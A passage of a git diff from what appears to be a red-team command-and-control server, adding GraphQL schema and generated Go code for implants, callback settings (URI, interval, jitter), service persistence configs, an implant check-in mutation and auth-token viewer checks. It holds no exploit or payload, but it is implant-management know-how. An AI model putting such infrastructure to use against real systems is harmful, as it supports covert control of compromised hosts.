[ImplantWhereInput!] + or: [ImplantWhereInput!] + + """sessionID field predicates""" + sessionid: String + sessionidNEQ: String + sessionidIn: [String!] + sessionidNotIn: [String!] + sessionidGT: String + sessionidGTE: String + sessionidLT: String + sessionidLTE: String + sessionidContains: String + sessionidHasPrefix: String + sessionidHasSuffix: String + sessionidEqualFold: String + sessionidContainsFold: String + + """processName field predicates""" + processname: String + processnameNEQ: String + processnameIn: [String!] + processnameNotIn: [String!] + processnameGT: String + processnameGTE: String + processnameLT: String + processnameLTE: String + processnameContains: String + processnameHasPrefix: String + processnameHasSuffix: String + processnameIsNil: Boolean + processnameNotNil: Boolean + processnameEqualFold: String + processnameContainsFold: String + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """target edge predicates""" + hasTarget: Boolean + hasTargetWith: [TargetWhereInput!] + + """config edge predicates""" + hasConfig: Boolean + hasConfigWith: [ImplantConfigWhereInput!] +} + +""" +ImplantCallbackConfigWhereInput is used for filtering ImplantCallbackConfig objects. +Input was generated by ent. +""" +input ImplantCallbackConfigWhereInput { + not: ImplantCallbackConfigWhereInput + and: [ImplantCallbackConfigWhereInput!] + or: [ImplantCallbackConfigWhereInput!] + + """uri field predicates""" + uri: String + uriNEQ: String + uriIn: [String!] + uriNotIn: [String!] + uriGT: String + uriGTE: String + uriLT: String + uriLTE: String + uriContains: String + uriHasPrefix: String + uriHasSuffix: String + uriEqualFold: String + uriContainsFold: String + + """priority field predicates""" + priority: Int + priorityNEQ: Int + priorityIn: [Int!] + priorityNotIn: [Int!] + priorityGT: Int + priorityGTE: Int + priorityLT: Int + priorityLTE: Int + + """timeout field predicates""" + timeout: Int + timeoutNEQ: Int + timeoutIn: [Int!] + timeoutNotIn: [Int!] + timeoutGT: Int + timeoutGTE: Int + timeoutLT: Int + timeoutLTE: Int + + """interval field predicates""" + interval: Int + intervalNEQ: Int + intervalIn: [Int!] + intervalNotIn: [Int!] + intervalGT: Int + intervalGTE: Int + intervalLT: Int + intervalLTE: Int + + """jitter field predicates""" + jitter: Int + jitterNEQ: Int + jitterIn: [Int!] + jitterNotIn: [Int!] + jitterGT: Int + jitterGTE: Int + jitterLT: Int + jitterLTE: Int + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """implantConfigs edge predicates""" + hasImplantConfigs: Boolean + hasImplantConfigsWith: [ImplantConfigWhereInput!] +} + +""" +ImplantConfigWhereInput is used for filtering ImplantConfig objects. +Input was generated by ent. +""" +input ImplantConfigWhereInput { + not: ImplantConfigWhereInput + and: [ImplantConfigWhereInput!] + or: [ImplantConfigWhereInput!] + + """name field predicates""" + name: String + nameNEQ: String + nameIn: [String!] + nameNotIn: [String!] + nameGT: String + nameGTE: String + nameLT: String + nameLTE: String + nameContains: String + nameHasPrefix: String + nameHasSuffix: String + nameEqualFold: String + nameContainsFold: String + + """authToken field predicates""" + authtoken: String + authtokenNEQ: String + authtokenIn: [String!] + authtokenNotIn: [String!] + authtokenGT: String + authtokenGTE: String + authtokenLT: String + authtokenLTE: String + authtokenContains: String + authtokenHasPrefix: String + authtokenHasSuffix: String + authtokenEqualFold: String + authtokenContainsFold: String + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """implants edge predicates""" + hasImplants: Boolean + hasImplantsWith: [ImplantWhereInput!] + + """serviceConfigs edge predicates""" + hasServiceConfigs: Boolean + hasServiceConfigsWith: [ImplantServiceConfigWhereInput!] + + """callbackConfigs edge predicates""" + hasCallbackConfigs: Boolean + hasCallbackConfigsWith: [ImplantCallbackConfigWhereInput!] +} + +""" +ImplantServiceConfigWhereInput is used for filtering ImplantServiceConfig objects. +Input was generated by ent. +""" +input ImplantServiceConfigWhereInput { + not: ImplantServiceConfigWhereInput + and: [ImplantServiceConfigWhereInput!] + or: [ImplantServiceConfigWhereInput!] + + """name field predicates""" + name: String + nameNEQ: String + nameIn: [String!] + nameNotIn: [String!] + nameGT: String + nameGTE: String + nameLT: String + nameLTE: String + nameContains: String + nameHasPrefix: String + nameHasSuffix: String + nameEqualFold: String + nameContainsFold: String + + """description field predicates""" + description: String + descriptionNEQ: String + descriptionIn: [String!] + descriptionNotIn: [String!] + descriptionGT: String + descriptionGTE: String + descriptionLT: String + descriptionLTE: String + descriptionContains: String + descriptionHasPrefix: String + descriptionHasSuffix: String + descriptionEqualFold: String + descriptionContainsFold: String + + """executablePath field predicates""" + executablepath: String + executablepathNEQ: String + executablepathIn: [String!] + executablepathNotIn: [String!] + executablepathGT: String + executablepathGTE: String + executablepathLT: String + executablepathLTE: String + executablepathContains: String + executablepathHasPrefix: String + executablepathHasSuffix: String + executablepathEqualFold: String + executablepathContainsFold: String + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """implantConfigs edge predicates""" + hasImplantConfigs: Boolean + hasImplantConfigsWith: [ImplantConfigWhereInput!] +} # Types and Definitions for Files type File implements Node { @@ -294,13 +568,25 @@ type Implant implements Node { target: Target! config: ImplantConfig! +} + +type CallbackResponse { + implant: Implant! }# Schema for all mutations that the Graph API supports. type Mutation { + callback(info: CallbackInput!): CallbackResponse! createTarget(target: CreateTargetInput!): Target! createCredential(credential: CreateCredentialInput!): Credential! } +input CallbackInput { + targetID: ID! + sessionID: String! + configName: String! + processName: String! +} + input CreateTargetInput { name: String! forwardConnectIP: String! diff --git a/cmd/tavern/main.go b/cmd/tavern/main.go index 56b4b3478..867c2b238 100644 --- a/cmd/tavern/main.go +++ b/cmd/tavern/main.go @@ -9,6 +9,7 @@ import ( "github.com/kcarretto/realm/ent" "github.com/kcarretto/realm/ent/credential" "github.com/kcarretto/realm/ent/migrate" + _ "github.com/kcarretto/realm/ent/runtime" "github.com/kcarretto/realm/graphql" "github.com/99designs/gqlgen/graphql/handler" diff --git a/ent/entc.go b/ent/entc.go index 21d94ac34..5b3820e4e 100644 --- a/ent/entc.go +++ b/ent/entc.go @@ -19,10 +19,17 @@ func main() { if err != nil { log.Fatalf("creating entgql extension: %v", err) } + opts := []entc.Option{ + entc.Extensions(extensions), + entc.FeatureNames("privacy"), + } + if err := entc.Generate( "./schema", - &gen.Config{}, - entc.Extensions(extensions), + &gen.Config{ + Templates: entgql.AllTemplates, + }, + opts..., ); err != nil { log.Fatalf("running ent codegen: %v", err) } diff --git a/ent/privacy/privacy.go b/ent/privacy/privacy.go new file mode 100644 index 000000000..25b489610 --- /dev/null +++ b/ent/privacy/privacy.go @@ -0,0 +1,333 @@ +// Code generated by entc, DO NOT EDIT. + +package privacy + +import ( + "context" + "fmt" + + "github.com/kcarretto/realm/ent" + + "entgo.io/ent/privacy" +) + +var ( + // Allow may be returned by rules to indicate that the policy + // evaluation should terminate with an allow decision. + Allow = privacy.Allow + + // Deny may be returned by rules to indicate that the policy + // evaluation should terminate with an deny decision. + Deny = privacy.Deny + + // Skip may be returned by rules to indicate that the policy + // evaluation should continue to the next rule. + Skip = privacy.Skip +) + +// Allowf returns an formatted wrapped Allow decision. +func Allowf(format string, a ...interface{}) error { + return fmt.Errorf(format+": %w", append(a, Allow)...) +} + +// Denyf returns an formatted wrapped Deny decision. +func Denyf(format string, a ...interface{}) error { + return fmt.Errorf(format+": %w", append(a, Deny)...) +} + +// Skipf returns an formatted wrapped Skip decision. +func Skipf(format string, a ...interface{}) error { + return fmt.Errorf(format+": %w", append(a, Skip)...) +} + +// DecisionContext creates a new context from the given parent context with +// a policy decision attach to it. +func DecisionContext(parent context.Context, decision error) context.Context { + return privacy.DecisionContext(parent, decision) +} + +// DecisionFromContext retrieves the policy decision from the context. +func DecisionFromContext(ctx context.Context) (error, bool) { + return privacy.DecisionFromContext(ctx) +} + +type ( + // QueryRule defines the interface deciding whether a + // query is allowed and optionally modify it. + QueryRule = privacy.QueryRule + // QueryPolicy combines multiple query rules into a single policy. + QueryPolicy = privacy.QueryPolicy +) + +// QueryRuleFunc type is an adapter to allow the use of +// ordinary functions as query rules. +type QueryRuleFunc func(context.Context, ent.Query) error + +// Eval returns f(ctx, q). +func (f QueryRuleFunc) EvalQuery(ctx context.Context, q ent.Query) error { + return f(ctx, q) +} + +type ( + // MutationRule defines the interface which decides whether a + // mutation is allowed and optionally modifies it. + MutationRule = privacy.MutationRule + // MutationPolicy combines multiple mutation rules into a single policy. + MutationPolicy = privacy.MutationPolicy +) + +// MutationRuleFunc type is an adapter which allows the use of +// ordinary functions as mutation rules. +type MutationRuleFunc func(context.Context, ent.Mutation) error + +// EvalMutation returns f(ctx, m). +func (f MutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation) error { + return f(ctx, m) +} + +// Policy groups query and mutation policies. +type Policy struct { + Query QueryPolicy + Mutation MutationPolicy +} + +// EvalQuery forwards evaluation to query a policy. +func (policy Policy) EvalQuery(ctx context.Context, q ent.Query) error { + return policy.Query.EvalQuery(ctx, q) +} + +// EvalMutation forwards evaluation to mutate a policy. +func (policy Policy) EvalMutation(ctx context.Context, m ent.Mutation) error { + return policy.Mutation.EvalMutation(ctx, m) +} + +// QueryMutationRule is an interface which groups query and mutation rules. +type QueryMutationRule interface { + QueryRule + MutationRule +} + +// AlwaysAllowRule returns a rule that returns an allow decision. +func AlwaysAllowRule() QueryMutationRule { + return fixedDecision{Allow} +} + +// AlwaysDenyRule returns a rule that returns a deny decision. +func AlwaysDenyRule() QueryMutationRule { + return fixedDecision{Deny} +} + +type fixedDecision struct { + decision error +} + +func (f fixedDecision) EvalQuery(context.Context, ent.Query) error { + return f.decision +} + +func (f fixedDecision) EvalMutation(context.Context, ent.Mutation) error { + return f.decision +} + +type contextDecision struct { + eval func(context.Context) error +} + +// ContextQueryMutationRule creates a query/mutation rule from a context eval func. +func ContextQueryMutationRule(eval func(context.Context) error) QueryMutationRule { + return contextDecision{eval} +} + +func (c contextDecision) EvalQuery(ctx context.Context, _ ent.Query) error { + return c.eval(ctx) +} + +func (c contextDecision) EvalMutation(ctx context.Context, _ ent.Mutation) error { + return c.eval(ctx) +} + +// OnMutationOperation evaluates the given rule only on a given mutation operation. +func OnMutationOperation(rule MutationRule, op ent.Op) MutationRule { + return MutationRuleFunc(func(ctx context.Context, m ent.Mutation) error { + if m.Op().Is(op) { + return rule.EvalMutation(ctx, m) + } + return Skip + }) +} + +// DenyMutationOperationRule returns a rule denying specified mutation operation. +func DenyMutationOperationRule(op ent.Op) MutationRule { + rule := MutationRuleFunc(func(_ context.Context, m ent.Mutation) error { + return Denyf("ent/privacy: operation %s is not allowed", m.Op()) + }) + return OnMutationOperation(rule, op) +} + +// The CredentialQueryRuleFunc type is an adapter to allow the use of ordinary +// functions as a query rule. +type CredentialQueryRuleFunc func(context.Context, *ent.CredentialQuery) error + +// EvalQuery return f(ctx, q). +func (f CredentialQueryRuleFunc) EvalQuery(ctx context.Context, q ent.Query) error { + if q, ok := q.(*ent.CredentialQuery); ok { + return f(ctx, q) + } + return Denyf("ent/privacy: unexpected query type %T, expect *ent.CredentialQuery", q) +} + +// The CredentialMutationRuleFunc type is an adapter to allow the use of ordinary +// functions as a mutation rule. +type CredentialMutationRuleFunc func(context.Context, *ent.CredentialMutation) error + +// EvalMutation calls f(ctx, m). +func (f CredentialMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation) error { + if m, ok := m.(*ent.CredentialMutation); ok { + return f(ctx, m) + } + return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.CredentialMutation", m) +} + +// The FileQueryRuleFunc type is an adapter to allow the use of ordinary +// functions as a query rule. +type FileQueryRuleFunc func(context.Context, *ent.FileQuery) error + +// EvalQuery return f(ctx, q). +func (f FileQueryRuleFunc) EvalQuery(ctx context.Context, q ent.Query) error { + if q, ok := q.(*ent.FileQuery); ok { + return f(ctx, q) + } + return Denyf("ent/privacy: unexpected query type %T, expect *ent.FileQuery", q) +} + +// The FileMutationRuleFunc type is an adapter to allow the use of ordinary +// functions as a mutation rule. +type FileMutationRuleFunc func(context.Context, *ent.FileMutation) error + +// EvalMutation calls f(ctx, m). +func (f FileMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation) error { + if m, ok := m.(*ent.FileMutation); ok { + return f(ctx, m) + } + return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.FileMutation", m) +} + +// The ImplantQueryRuleFunc type is an adapter to allow the use of ordinary +// functions as a query rule. +type ImplantQueryRuleFunc func(context.Context, *ent.ImplantQuery) error + +// EvalQuery return f(ctx, q). +func (f ImplantQueryRuleFunc) EvalQuery(ctx context.Context, q ent.Query) error { + if q, ok := q.(*ent.ImplantQuery); ok { + return f(ctx, q) + } + return Denyf("ent/privacy: unexpected query type %T, expect *ent.ImplantQuery", q) +} + +// The ImplantMutationRuleFunc type is an adapter to allow the use of ordinary +// functions as a mutation rule. +type ImplantMutationRuleFunc func(context.Context, *ent.ImplantMutation) error + +// EvalMutation calls f(ctx, m). +func (f ImplantMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation) error { + if m, ok := m.(*ent.ImplantMutation); ok { + return f(ctx, m) + } + return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.ImplantMutation", m) +} + +// The ImplantCallbackConfigQueryRuleFunc type is an adapter to allow the use of ordinary +// functions as a query rule. +type ImplantCallbackConfigQueryRuleFunc func(context.Context, *ent.ImplantCallbackConfigQuery) error + +// EvalQuery return f(ctx, q). +func (f ImplantCallbackConfigQueryRuleFunc) EvalQuery(ctx context.Context, q ent.Query) error { + if q, ok := q.(*ent.ImplantCallbackConfigQuery); ok { + return f(ctx, q) + } + return Denyf("ent/privacy: unexpected query type %T, expect *ent.ImplantCallbackConfigQuery", q) +} + +// The ImplantCallbackConfigMutationRuleFunc type is an adapter to allow the use of ordinary +// functions as a mutation rule. +type ImplantCallbackConfigMutationRuleFunc func(context.Context, *ent.ImplantCallbackConfigMutation) error + +// EvalMutation calls f(ctx, m). +func (f ImplantCallbackConfigMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation) error { + if m, ok := m.(*ent.ImplantCallbackConfigMutation); ok { + return f(ctx, m) + } + return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.ImplantCallbackConfigMutation", m) +} + +// The ImplantConfigQueryRuleFunc type is an adapter to allow the use of ordinary +// functions as a query rule. +type ImplantConfigQueryRuleFunc func(context.Context, *ent.ImplantConfigQuery) error + +// EvalQuery return f(ctx, q). +func (f ImplantConfigQueryRuleFunc) EvalQuery(ctx context.Context, q ent.Query) error { + if q, ok := q.(*ent.ImplantConfigQuery); ok { + return f(ctx, q) + } + return Denyf("ent/privacy: unexpected query type %T, expect *ent.ImplantConfigQuery", q) +} + +// The ImplantConfigMutationRuleFunc type is an adapter to allow the use of ordinary +// functions as a mutation rule. +type ImplantConfigMutationRuleFunc func(context.Context, *ent.ImplantConfigMutation) error + +// EvalMutation calls f(ctx, m). +func (f ImplantConfigMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation) error { + if m, ok := m.(*ent.ImplantConfigMutation); ok { + return f(ctx, m) + } + return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.ImplantConfigMutation", m) +} + +// The ImplantServiceConfigQueryRuleFunc type is an adapter to allow the use of ordinary +// functions as a query rule. +type ImplantServiceConfigQueryRuleFunc func(context.Context, *ent.ImplantServiceConfigQuery) error + +// EvalQuery return f(ctx, q). +func (f ImplantServiceConfigQueryRuleFunc) EvalQuery(ctx context.Context, q ent.Query) error { + if q, ok := q.(*ent.ImplantServiceConfigQuery); ok { + return f(ctx, q) + } + return Denyf("ent/privacy: unexpected query type %T, expect *ent.ImplantServiceConfigQuery", q) +} + +// The ImplantServiceConfigMutationRuleFunc type is an adapter to allow the use of ordinary +// functions as a mutation rule. +type ImplantServiceConfigMutationRuleFunc func(context.Context, *ent.ImplantServiceConfigMutation) error + +// EvalMutation calls f(ctx, m). +func (f ImplantServiceConfigMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation) error { + if m, ok := m.(*ent.ImplantServiceConfigMutation); ok { + return f(ctx, m) + } + return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.ImplantServiceConfigMutation", m) +} + +// The TargetQueryRuleFunc type is an adapter to allow the use of ordinary +// functions as a query rule. +type TargetQueryRuleFunc func(context.Context, *ent.TargetQuery) error + +// EvalQuery return f(ctx, q). +func (f TargetQueryRuleFunc) EvalQuery(ctx context.Context, q ent.Query) error { + if q, ok := q.(*ent.TargetQuery); ok { + return f(ctx, q) + } + return Denyf("ent/privacy: unexpected query type %T, expect *ent.TargetQuery", q) +} + +// The TargetMutationRuleFunc type is an adapter to allow the use of ordinary +// functions as a mutation rule. +type TargetMutationRuleFunc func(context.Context, *ent.TargetMutation) error + +// EvalMutation calls f(ctx, m). +func (f TargetMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation) error { + if m, ok := m.(*ent.TargetMutation); ok { + return f(ctx, m) + } + return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.TargetMutation", m) +} diff --git a/ent/viewer/viewer.go b/ent/viewer/viewer.go new file mode 100644 index 000000000..dbdc45d9f --- /dev/null +++ b/ent/viewer/viewer.go @@ -0,0 +1,67 @@ +package viewer + +import ( + "context" + "fmt" +) + +// ErrInvalidKind occurs when an invalid type of viewer is retrieved from the context. +// ErrNoViewer occurs when no viewer can be retrieved from the context. +var ( + ErrInvalidKind = fmt.Errorf("invalid viewer kind in context") + ErrNoViewer = fmt.Errorf("no authenticated viewer context") +) + +// Viewer describes the query/mutation viewer-context. +type Viewer interface{} + +// Implant viewers of the GraphAPI +type Implant struct { + AuthToken string +} + +// User viewers of the GraphAPI +type User struct{} + +type ctxKey struct{} + +// FromContext returns the Viewer stored in a context. +func FromContext(ctx context.Context) Viewer { + v, _ := ctx.Value(ctxKey{}).(Viewer) + return v +} + +// ImplantFromContext returns an Implant viewer from a context. +// If the viewer was not an implant, returns an error. +func ImplantFromContext(ctx context.Context) (Implant, error) { + v := FromContext(ctx) + if v == nil { + return Implant{}, ErrNoViewer + } + + implant, ok := v.(Implant) + if !ok { + return Implant{}, ErrInvalidKind + } + return implant, nil +} + +// UserFromContext returns an User viewer from a context. +// If the viewer was not a user, returns an error. +func UserFromContext(ctx context.Context) (User, error) { + v := FromContext(ctx) + if v == nil { + return User{}, ErrNoViewer + } + + user, ok := v.(User) + if !ok { + return User{}, ErrInvalidKind + } + return user, nil +} + +// NewContext returns a copy of parent context with the given Viewer attached with it. +func NewContext(parent context.Context, v Viewer) context.Context { + return context.WithValue(parent, ctxKey{}, v) +} diff --git a/graphql/generated.go b/graphql/generated.go index b30887e18..8d7e936e8 100644 --- a/graphql/generated.go +++ b/graphql/generated.go @@ -46,6 +46,10 @@ type DirectiveRoot struct { } type ComplexityRoot struct { + CallbackResponse struct { + Implant func(childComplexity int) int + } + Credential struct { ID func(childComplexity int) int Kind func(childComplexity int) int @@ -85,7 +89,40 @@ type ComplexityRoot struct { Node func(childComplexity int) int } + Implant struct { + Config func(childComplexity int) int + ID func(childComplexity int) int + ProcessName func(childComplexity int) int + SessionID func(childComplexity int) int + Target func(childComplexity int) int + } + + ImplantCallbackConfig struct { + ID func(childComplexity int) int + Interval func(childComplexity int) int + Jitter func(childComplexity int) int + Priority func(childComplexity int) int + Timeout func(childComplexity int) int + URI func(childComplexity int) int + } + + ImplantConfig struct { + AuthToken func(childComplexity int) int + CallbackConfigs func(childComplexity int) int + ID func(childComplexity int) int + Name func(childComplexity int) int + ServiceConfigs func(childComplexity int) int + } + + ImplantServiceConfig struct { + Description func(childComplexity int) int + ExecutablePath func(childComplexity int) int + ID func(childComplexity int) int + Name func(childComplexity int) int + } + Mutation struct { + Callback func(childComplexity int, info CallbackInput) int CreateCredential func(childComplexity int, credential CreateCredentialInput) int CreateTarget func(childComplexity int, target CreateTargetInput) int } @@ -125,6 +162,7 @@ type ComplexityRoot struct { } type MutationResolver interface { + Callback(ctx context.Context, info CallbackInput) (*CallbackResponse, error) CreateTarget(ctx context.Context, target CreateTargetInput) (*ent.Target, error) CreateCredential(ctx context.Context, credential CreateCredentialInput) (*ent.Credential, error) } @@ -151,6 +189,13 @@ func (e *executableSchema) Complexity(typeName, field string, childComplexity in _ = ec switch typeName + "." + field { + case "CallbackResponse.implant": + if e.complexity.CallbackResponse.Implant == nil { + break + } + + return e.complexity.CallbackResponse.Implant(childComplexity), true + case "Credential.id": if e.complexity.Credential.ID == nil { break @@ -298,6 +343,158 @@ func (e *executableSchema) Complexity(typeName, field string, childComplexity in return e.complexity.FileEdge.Node(childComplexity), true + case "Implant.config": + if e.complexity.Implant.Config == nil { + break + } + + return e.complexity.Implant.Config(childComplexity), true + + case "Implant.id": + if e.complexity.Implant.ID == nil { + break + } + + return e.complexity.Implant.ID(childComplexity), true + + case "Implant.processName": + if e.complexity.Implant.ProcessName == nil { + break + } + + return e.complexity.Implant.ProcessName(childComplexity), true + + case "Implant.sessionID": + if e.complexity.Implant.SessionID == nil { + break + } + + return e.complexity.Implant.SessionID(childComplexity), true + + case "Implant.target": + if e.complexity.Implant.Target == nil { + break + } + + return e.complexity.Implant.Target(childComplexity), true + + case "ImplantCallbackConfig.id": + if e.complexity.ImplantCallbackConfig.ID == nil { + break + } + + return e.complexity.ImplantCallbackConfig.ID(childComplexity), true + + case "ImplantCallbackConfig.interval": + if e.complexity.ImplantCallbackConfig.Interval == nil { + break + } + + return e.complexity.ImplantCallbackConfig.Interval(childComplexity), true + + case "ImplantCallbackConfig.jitter": + if e.complexity.ImplantCallbackConfig.Jitter == nil { + break + } + + return e.complexity.ImplantCallbackConfig.Jitter(childComplexity), true + + case "ImplantCallbackConfig.priority": + if e.complexity.ImplantCallbackConfig.Priority == nil { + break + } + + return e.complexity.ImplantCallbackConfig.Priority(childComplexity), true + + case "ImplantCallbackConfig.timeout": + if e.complexity.ImplantCallbackConfig.Timeout == nil { + break + } + + return e.complexity.ImplantCallbackConfig.Timeout(childComplexity), true + + case "ImplantCallbackConfig.uri": + if e.complexity.ImplantCallbackConfig.URI == nil { + break + } + + return e.complexity.ImplantCallbackConfig.URI(childComplexity), true + + case "ImplantConfig.authToken": + if e.complexity.ImplantConfig.AuthToken == nil { + break + } + + return e.complexity.ImplantConfig.AuthToken(childComplexity), true + + case "ImplantConfig.callbackConfigs": + if e.complexity.ImplantConfig.CallbackConfigs == nil { + break + } + + return e.complexity.ImplantConfig.CallbackConfigs(childComplexity), true + + case "ImplantConfig.id": + if e.complexity.ImplantConfig.ID == nil { + break + } + + return e.complexity.ImplantConfig.ID(childComplexity), true + + case "ImplantConfig.name": + if e.complexity.ImplantConfig.Name == nil { + break + } + + return e.complexity.ImplantConfig.Name(childComplexity), true + + case "ImplantConfig.serviceConfigs": + if e.complexity.ImplantConfig.ServiceConfigs == nil { + break + } + + return e.complexity.ImplantConfig.ServiceConfigs(childComplexity), true + + case "ImplantServiceConfig.description": + if e.complexity.ImplantServiceConfig.Description == nil { + break + } + + return e.complexity.ImplantServiceConfig.Description(childComplexity), true + + case "ImplantServiceConfig.executablePath": + if e.complexity.ImplantServiceConfig.ExecutablePath == nil { + break + } + + return e.complexity.ImplantServiceConfig.ExecutablePath(childComplexity), true + + case "ImplantServiceConfig.id": + if e.complexity.ImplantServiceConfig.ID == nil { + break + } + + return e.complexity.ImplantServiceConfig.ID(childComplexity), true + + case "ImplantServiceConfig.name": + if e.complexity.ImplantServiceConfig.Name == nil { + break + } + + return e.complexity.ImplantServiceConfig.Name(childComplexity), true + + case "Mutation.callback": + if e.complexity.Mutation.Callback == nil { + break + } + + args, err := ec.field_Mutation_callback_args(context.TODO(), rawArgs) + if err != nil { + return 0, false + } + + return e.complexity.Mutation.Callback(childComplexity, args["info"].(CallbackInput)), true + case "Mutation.createCredential": if e.complexity.Mutation.CreateCredential == nil { break @@ -573,10 +770,18 @@ type Query { {Name: "schema/mutation.graphql", Input: `# Schema for all mutations that the Graph API supports. type Mutation { + callback(info: CallbackInput!): CallbackResponse! createTarget(target: CreateTargetInput!): Target! createCredential(credential: CreateCredentialInput!): Credential! } +input CallbackInput { + targetID: ID! + sessionID: String! + configName: String! + processName: String! +} + input CreateTargetInput { name: String! forwardConnectIP: String! @@ -694,6 +899,43 @@ type TargetConnection { edges: [TargetEdge] } `, BuiltIn: false}, + {Name: "schema/implant.graphql", Input: `type ImplantCallbackConfig implements Node { + id: ID! + uri: String! + priority: Int! + timeout: Int! + interval: Int! + jitter: Int! +} + +type ImplantServiceConfig implements Node { + id: ID! + name: String! + description: String! + executablePath: String! +} + +type ImplantConfig implements Node { + id: ID! + name: String! + authToken: String! + + serviceConfigs: [ImplantServiceConfig!] + callbackConfigs: [ImplantCallbackConfig!] +} + +type Implant implements Node { + id: ID! + sessionID: String! + processName: String + + target: Target! + config: ImplantConfig! +} + +type CallbackResponse { + implant: Implant! +}`, BuiltIn: false}, {Name: "schema/ent.graphql", Input: `""" CredentialWhereInput is used for filtering Credential objects. Input was generated by ent. @@ -1169,6 +1411,21 @@ var parsedSchema = gqlparser.MustLoadSchema(sources...) // region ***************************** args.gotpl ***************************** +func (ec *executionContext) field_Mutation_callback_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { + var err error + args := map[string]interface{}{} + var arg0 CallbackInput + if tmp, ok := rawArgs["info"]; ok { + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("info")) + arg0, err = ec.unmarshalNCallbackInput2githubᚗcomᚋkcarrettoᚋrealmᚋgraphqlᚐCallbackInput(ctx, tmp) + if err != nil { + return nil, err + } + } + args["info"] = arg0 + return args, nil +} + func (ec *executionContext) field_Mutation_createCredential_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { var err error args := map[string]interface{}{} @@ -1462,6 +1719,41 @@ func (ec *executionContext) field___Type_fields_args(ctx context.Context, rawArg // region **************************** field.gotpl ***************************** +func (ec *executionContext) _CallbackResponse_implant(ctx context.Context, field graphql.CollectedField, obj *CallbackResponse) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "CallbackResponse", + Field: field, + Args: nil, + IsMethod: false, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Implant, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(*ent.Implant) + fc.Result = res + return ec.marshalNImplant2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplant(ctx, field.Selections, res) +} + func (ec *executionContext) _Credential_id(ctx context.Context, field graphql.CollectedField, obj *ent.Credential) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { @@ -2185,7 +2477,7 @@ func (ec *executionContext) _FileEdge_cursor(ctx context.Context, field graphql. return ec.marshalNCursor2githubᚗcomᚋkcarrettoᚋrealmᚋentᚐCursor(ctx, field.Selections, res) } -func (ec *executionContext) _Mutation_createTarget(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { +func (ec *executionContext) _Implant_id(ctx context.Context, field graphql.CollectedField, obj *ent.Implant) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2193,24 +2485,17 @@ func (ec *executionContext) _Mutation_createTarget(ctx context.Context, field gr } }() fc := &graphql.FieldContext{ - Object: "Mutation", + Object: "Implant", Field: field, Args: nil, - IsMethod: true, - IsResolver: true, + IsMethod: false, + IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) - rawArgs := field.ArgumentMap(ec.Variables) - args, err := ec.field_Mutation_createTarget_args(ctx, rawArgs) - if err != nil { - ec.Error(ctx, err) - return graphql.Null - } - fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return ec.resolvers.Mutation().CreateTarget(rctx, args["target"].(CreateTargetInput)) + return obj.ID, nil }) if err != nil { ec.Error(ctx, err) @@ -2222,12 +2507,12 @@ func (ec *executionContext) _Mutation_createTarget(ctx context.Context, field gr } return graphql.Null } - res := resTmp.(*ent.Target) + res := resTmp.(int) fc.Result = res - return ec.marshalNTarget2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTarget(ctx, field.Selections, res) + return ec.marshalNID2int(ctx, field.Selections, res) } -func (ec *executionContext) _Mutation_createCredential(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { +func (ec *executionContext) _Implant_sessionID(ctx context.Context, field graphql.CollectedField, obj *ent.Implant) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2235,24 +2520,17 @@ func (ec *executionContext) _Mutation_createCredential(ctx context.Context, fiel } }() fc := &graphql.FieldContext{ - Object: "Mutation", + Object: "Implant", Field: field, Args: nil, - IsMethod: true, - IsResolver: true, + IsMethod: false, + IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) - rawArgs := field.ArgumentMap(ec.Variables) - args, err := ec.field_Mutation_createCredential_args(ctx, rawArgs) - if err != nil { - ec.Error(ctx, err) - return graphql.Null - } - fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) 